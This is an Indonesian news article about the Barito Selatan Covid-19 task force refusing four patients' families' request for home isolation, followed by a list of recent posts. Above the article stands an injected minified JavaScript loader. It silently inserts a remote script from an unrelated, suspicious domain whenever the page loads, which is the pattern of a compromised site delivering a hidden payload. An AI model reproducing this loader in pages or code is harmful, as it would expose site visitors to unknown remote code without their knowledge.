(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ngotot Jemput Pasien Covid-19 untuk Isolasi Mandiri, Gugus Tugas Utamakan Protokol Kesehatan


KANALKALIMANTAN.COM, BUNTOK – Keluarga 4 pasien Covid-19 mendatangi RS Jarse Buntok, untuk meminta keluarga mereka bisa menjalankan isolasi mandiri di rumah. Tapi permintaan tersebut ditolak dan meraka hanya diberikan kesempatan untuk bertemu dengan pasien.

Pertemuan tersebut dimediasikan oleh pihak Gugus tugas covid-19 Barsel yang dipimpin Sekda Barsel didampingi Kapolres dan Dandim 1012/btk, serta Kadis Kesehetan dan Dirut RS Jarse Buntok.

Ketua Gugus Tugas Covid-19 Barsel melalui Sekretaris Eddy Purwanto mengatakan, bersukur mediasi dengan pihak keluarga pasien tadi berjalan lancar dan mereka mau bersabar menunggu pasien hingga sembuh.

“Pada prinsipnya pemerintah melalui Gugus Tugas Covid-19 Barsel tetap menjalankan protokol Kesehatan, artinya pasien tetap jalani perwatan hingga benar-benar sehat,” kata Eddy kepada Kanalkalimantan.com, di RS Jarse Buntok Sabtu (13/6/2020).

Ia juga meminta kepada pihak keluarga pasien positif covid-19 untuk bisa mempercayakan pasien untuk tetap dirawat, hingga kondisinya benar-benar sehat atau benar-benar sembuh. “Artinya percayakan kepada kita, untuk merawat pasien hingga benar-benar sembuh demi kenyaman bersama,” ujar Eddy.

Lebih lanjut olehnya dalam waktu dekat ini pihaknya akan menerima hasil swab ke 4 pasein covid-19, semoga hasilnya swabnya nanti negatif semua sehingga semua pasien nanti bisa keluar. “Melihat hasil visit dari para dokter, semua pasien tampak sehat dengan kondisi yang baik dan semoga nanti hasil swab semua negatif jadi pasien dapat keluar,” beber Eddy.

Ditambahkan juga olehnya terkait permintaan keluarga pasien untuk bisa melihat langsung hasil dari swab, pihaknya berjanji untuk bisa melihatkan langsung hasil swab yang ada kepada penanggung jawab pasien. Selain itu untuk keluarga pasien yang ingin berkunjung nanti juga boleh, namun hanya boleh keluarga terdekat dan wajib memakai protokol kesehatan yang ada.

“Kita hanya membolehkan keluarga terdekat pasien saja yang boleh berkunjung dan itu juga harus memakai protokol kesehatan yang akan kita siapkan nanti,” pungkas Eddy sekaligus mengakhiri.(kanalkalimantan.com/digdo)

 

Reporter : Digdo
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.